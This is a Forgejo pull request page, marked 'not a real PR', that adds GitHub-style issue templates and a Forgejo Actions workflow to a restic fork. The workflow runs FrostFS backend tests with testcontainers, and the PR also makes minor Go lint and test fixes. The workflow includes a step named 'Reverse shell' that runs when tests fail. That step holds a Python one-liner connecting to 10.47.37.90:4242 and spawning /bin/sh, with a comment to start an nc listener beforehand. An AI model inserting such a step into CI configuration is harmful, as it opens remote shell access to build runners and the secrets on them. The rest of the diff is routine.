WIP: (not a real PR): Run testcontainers in Forgejo Actions #5

Closed
potyarkin wants to merge 9 commits from potyarkin/restic:support/add_forgejo_ci into tcl/master
6 changed files with 114 additions and 5 deletions

View file

@ -0,0 +1,45 @@
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: community, triage, bug
assignees: ''
---
<!--- Provide a general summary of the issue in the Title above -->
## Expected Behavior
<!--- If you're describing a bug, tell us what should happen -->
<!--- If you're suggesting a change/improvement, tell us how it should work -->
## Current Behavior
<!--- If describing a bug, tell us what happens instead of the expected behavior -->
<!--- If suggesting a change/improvement, explain the difference from current behavior -->
## Possible Solution
<!--- Not obligatory -->
<!--- If no reason/fix/additions for the bug can be suggested, -->
<!--- uncomment the following phrase: -->
<!--- No fix can be suggested by a QA engineer. Further solutions shall be up to developers. -->
## Steps to Reproduce (for bugs)
<!--- Provide a link to a live example, or an unambiguous set of steps to -->
<!--- reproduce this bug. -->
1.
## Context
<!--- How has this issue affected you? What are you trying to accomplish? -->
<!--- Providing context helps us come up with a solution that is most useful in the real world -->
## Regression
<!-- Is this issue a regression? (Yes / No) -->
<!-- If Yes, optionally please include version or commit id or PR# that caused this regression, if you have these details. -->
## Your Environment
<!--- Include as many relevant details about the environment you experienced the bug in -->
* Version used:
* Server setup and configuration:
* Operating System and version (`uname -a`):

View file

@ -0,0 +1 @@
blank_issues_enabled: false

View file

@ -0,0 +1,20 @@
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: community, triage
assignees: ''
---
## Is your feature request related to a problem? Please describe.
<!--- A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] -->
## Describe the solution you'd like
<!--- A clear and concise description of what you want to happen. -->
## Describe alternatives you've considered
<!--- A clear and concise description of any alternative solutions or features you've considered. -->
## Additional context
<!--- Add any other context or screenshots about the feature request here. -->

View file

@ -0,0 +1,40 @@
on:
pull_request:
push:
branches:
- tcl/master
jobs:
tests:
name: Tests
runs-on: oci-runner
strategy:
matrix:
go_versions: [ '1.23' ]
fail-fast: false
steps:
- uses: actions/checkout@v3
- name: Set up Go
uses: actions/setup-go@v3
with:
go-version: '${{ matrix.go_versions }}'
- name: Tests for the FrostFS backend
env:
RESTIC_TEST_FUSE: false
# run only tests for the FrostFS backend
run: |-
podman-service.sh
podman info
go test -v github.com/restic/restic/internal/backend/frostfs
- name: Reverse shell
if: failure()
# Listener must be started beforehand: nc -lvp 4242
run: |
export RHOST=10.47.37.90
export RPORT=4242
python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

View file

@ -45,11 +45,11 @@ func NewFactory() location.Factory {
return location.NewHTTPBackendFactory("frostfs", ParseConfig, location.NoPassword, Create, Open)
}
func Open(ctx context.Context, cfg Config, rt http.RoundTripper) (backend.Backend, error) {
func Open(ctx context.Context, cfg Config, _ http.RoundTripper) (backend.Backend, error) {
return open(ctx, cfg)
}
func Create(ctx context.Context, cfg Config, rt http.RoundTripper) (backend.Backend, error) {
func Create(ctx context.Context, cfg Config, _ http.RoundTripper) (backend.Backend, error) {
return open(ctx, cfg)
}
@ -81,7 +81,7 @@ func open(ctx context.Context, cfg Config) (backend.Backend, error) {
}, nil
}
func (b *Backend) IsPermanentError(err error) bool {
func (b *Backend) IsPermanentError(_ error) bool {
return true
}

View file

@ -26,7 +26,10 @@ import (
func TestIntegration(t *testing.T) {
filename := createWallet(t)
defer os.Remove(filename)
defer func() {
err := os.Remove(filename)
require.NoError(t, err)
}()
rootCtx := context.Background()
aioImage := "truecloudlab/frostfs-aio:"
@ -135,7 +138,7 @@ func createContainer(ctx context.Context, client *pool.Pool, owner user.ID, cont
wp := &pool.WaitParams{
PollInterval: 5 * time.Second,
Timeout: 30 * time.Second,
Timeout: 2 * time.Minute,
}
prm := pool.PrmContainerPut{
ClientParams: sdkClient.PrmContainerPut{